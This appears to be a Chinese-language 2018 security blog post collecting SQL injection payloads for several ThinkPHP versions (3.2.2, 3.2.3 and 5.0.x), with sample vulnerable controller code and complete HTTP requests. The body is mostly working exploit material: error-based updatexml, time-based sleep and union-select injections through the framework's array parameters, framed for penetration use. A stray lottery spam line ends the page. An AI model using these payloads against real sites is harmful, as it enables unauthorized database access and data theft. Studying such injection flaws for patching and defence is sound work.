?

Nov 07 2018

thinkphp一些版本的通殺漏洞payload

首頁 » 原創作品 » thinkphp一些版本的通殺漏洞payload   

thinkphp一些版本的通殺漏洞payload


主要一些漏洞來源是這個部分:

http://www.unaogn.live/index.php?keyword=thinkphp

11.jpg

喜歡代碼分析的可以先看這個部分的內容


以下2是我這幾天下來的測試。


目前針對的是是這兩個版本  后面有其他版本測試成功我會在這里在作增加。

thinkphp3.2.2

做一些thinkphp參數的說明 一些沒學過框架的朋友或許對這個不是很懂。

m=項目文件
c=模塊名
a=動作
默認的項目是home 所以默認訪問網站的首頁就是訪問項目 Application\Home項目主頁

網站的默認參數

m=項目文件 默認是Application\Home
c=模塊名 默認是  Application\Home\Controller\IndexController.class.php
a=動作 IndexController.class.php index函數

thinkphp支持常見的路由模式


1 基本get形式
http://網址/index.php?m=分組&c=控制器&a=操作方法

該方式是最底層的get形式、傳統的參數傳遞方式,不時尚、不安全。


2 pathinfo路徑形式[默認方式]
http://網址/index.php/分組/控制器/操作方法

http://網址/index.php/Home/Index/advert

3 rewrite重寫形式(偽靜態技術)省略index.php入口文件
http://網址/分組/控制器/操作方法

http://網址/Home/Index/index

4
http://網址/index.php?s=/分組/控制器/操作方法

http://網址/index.php?s=/Home/Index/advert


1.jpg


這個部分我先給出代碼  i是獲取參數 get post都能獲取 所以 提交方法可以是get 或 post

獲取username的內容 將存在username的數據查詢出來。


http://www.think32.com/index.php?m=Home&c=Index&a=login&username=moonsec
http://www.think32.com/index.php/home/index/login/username/moonse



2.jpg


這兩種模式都能同樣獲取數據。對于thinkphp3.2.2 通殺注入漏洞是 存在的 不管你是用那種查詢方法都是存在這樣的漏洞。

payload
bind方法


http://www.think32.com/index.php?m=Home&c=Index&a=login&username[0]=='admin') AND(UPDATEXML(1,CONCAT(1,(USER())),0))%23 bind&username[1]=21




3.jpg

exp方法注入 適用在使用 i 參數 trim過濾后


public function login2(){
        $username = I('post.username', '', 'trim');
        $password = I('post.password', '', 'trim');
        $row=M('user')->where(array('username'=>$username,'password'=>$password))->find();
        if (empty($row)) {
                echo 0;
                }else{
                echo 1;
                }
        
}        





payload


POST /index.php?m=Home&c=Index&a=login2 HTTP/1.1
Host: www.think32.com
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.6756.400 QQBrowser/10.3.2473.400
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qugpd393c0gn8qhv28s2r40ot7; thinkphp_show_page_trace=0|0
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded

username[0]=exp&username[1]=='admin'))and(updatexml(1,concat(0x7e,(user())),0))%23&password=123456






username[0]=exp&username[1]=='admin'))and(updatexml(1,concat(0x7e,(user())),0))%23&password=123456



4.jpg



thinkphp3.2.3 這個版本相對之前的版本做了一些調整,漏洞出現在查詢數據之后的更新處理。

例如 用戶的資料更新 密碼修改等 資料修改 這些部分 。


public function login3(){
        
        
        $User = M("User"); // 實例化User對象
        $user['id'] = i('id');
    // 要修改的數據對象屬性賦值
    $data['email'] = '[email protected]';
    $User->where($user)->save($data); // 根據條件更新記錄
        
        
}




得到用戶id 更新字段 email內容。

payload:



http://www.thinkphp323.com/index.php?m=home&c=index&a=login3&id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))


5.jpg


thinkphp3x系列注入漏洞



public function login9(){
        $id = i('id');
        $data = M('user')->find($id);
        var_dump($data);
        
}



http://www.think32.com/index.php?m=Home&c=Index&a=login9&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456




6.jpg



http://www.thinkphp323.com/index.php?m=home&c=index&a=login9&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456



7.jpg



payload


id[table]=think_user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456

id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456

id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23&password=123456


thinkphp5系列漏洞payload


thinkphp 5.0.10 通殺注入漏洞



<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一劍 - 為API開發設計的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 獨家贊助發布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>';
    }
        
        
        //http://www.thinkphp505.com/public/index.php/index/index/demo
        
        
        
        public function demo($user)
        {
                $info =db('users')->where(array('username'=>$user))->select();
                var_dump($info);
                
        }
        
                public function demoid($id)
        {
                $info =db('users')->where(array('id'=>$id))->select();
                var_dump($info);
                
        }
}


這個部分是 獲取 數據。


8.jpg

檢測是否存在注入,延時十秒 即存在注入



id[0]=not like&id[1][0]=moon&id[1][1]=moon&id[2]=) and sleep(10)#
POST /public/index.php/index/index/demoid/id/ HTTP/1.1
Host: www.thinkphp5010.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.thinkphp5010.com/public/index.php/index/index/demoid/
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Connection: close
Cookie: pgv_pvi=6212001792; pgv_si=s8559373312
Upgrade-Insecure-Requests: 1

id[0]=not like&id[1][0]=moon&id[1][1]=moon&id[2]=) and sleep(10)#


注入得出數據

demo方法獲取同樣也是可以用這種方法。


POST /public/index.php/index/index/demo HTTP/1.1
Host: www.thinkphp5010.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.thinkphp5010.com/public/index.php/index/index/demoid/
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Connection: close
Cookie: pgv_pvi=6212001792; pgv_si=s8559373312
Upgrade-Insecure-Requests: 1

user[0]=not like&user[1][0]=moon&user[1][1]=moon&user[2]=) and 1=2 union select 1,user(),3,4#



thinkphp5.0.15版本 更新注入漏洞


測試的時候注意版本,測試 信息修改。 查看是否存在注入。


報錯注入需要,開啟 thinkphp的調試模式。

測試模塊



        public function update_password()
        {
                
        $email = input('post.email/a');
        var_dump($email);
        //$info = db('users')->where('id',1)->update(['email'=>$email]);
        
        $info = db('users')->where('id',1)->update(['email' => $email]);
        
        var_dump($info );
        }




POST /public/index.php/index/index/update_password/ HTTP/1.1
Host: www.thinkphp5015.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: pgv_pvi=6212001792; pgv_si=s8559373312
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

email[0]=inc&email[1]=updatexml(2,concat(0x7e,user()),0)&email[2]=1



email[0]=inc&email[1]=updatexml(2,concat(0x7e,user()),0)&email[2]=1

9.jpg

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: thinkphp漏洞 thinkphp滲透

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «某挖礦系統(各類幣)一些通用漏洞 | 信息安全交流 Telegram 群»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖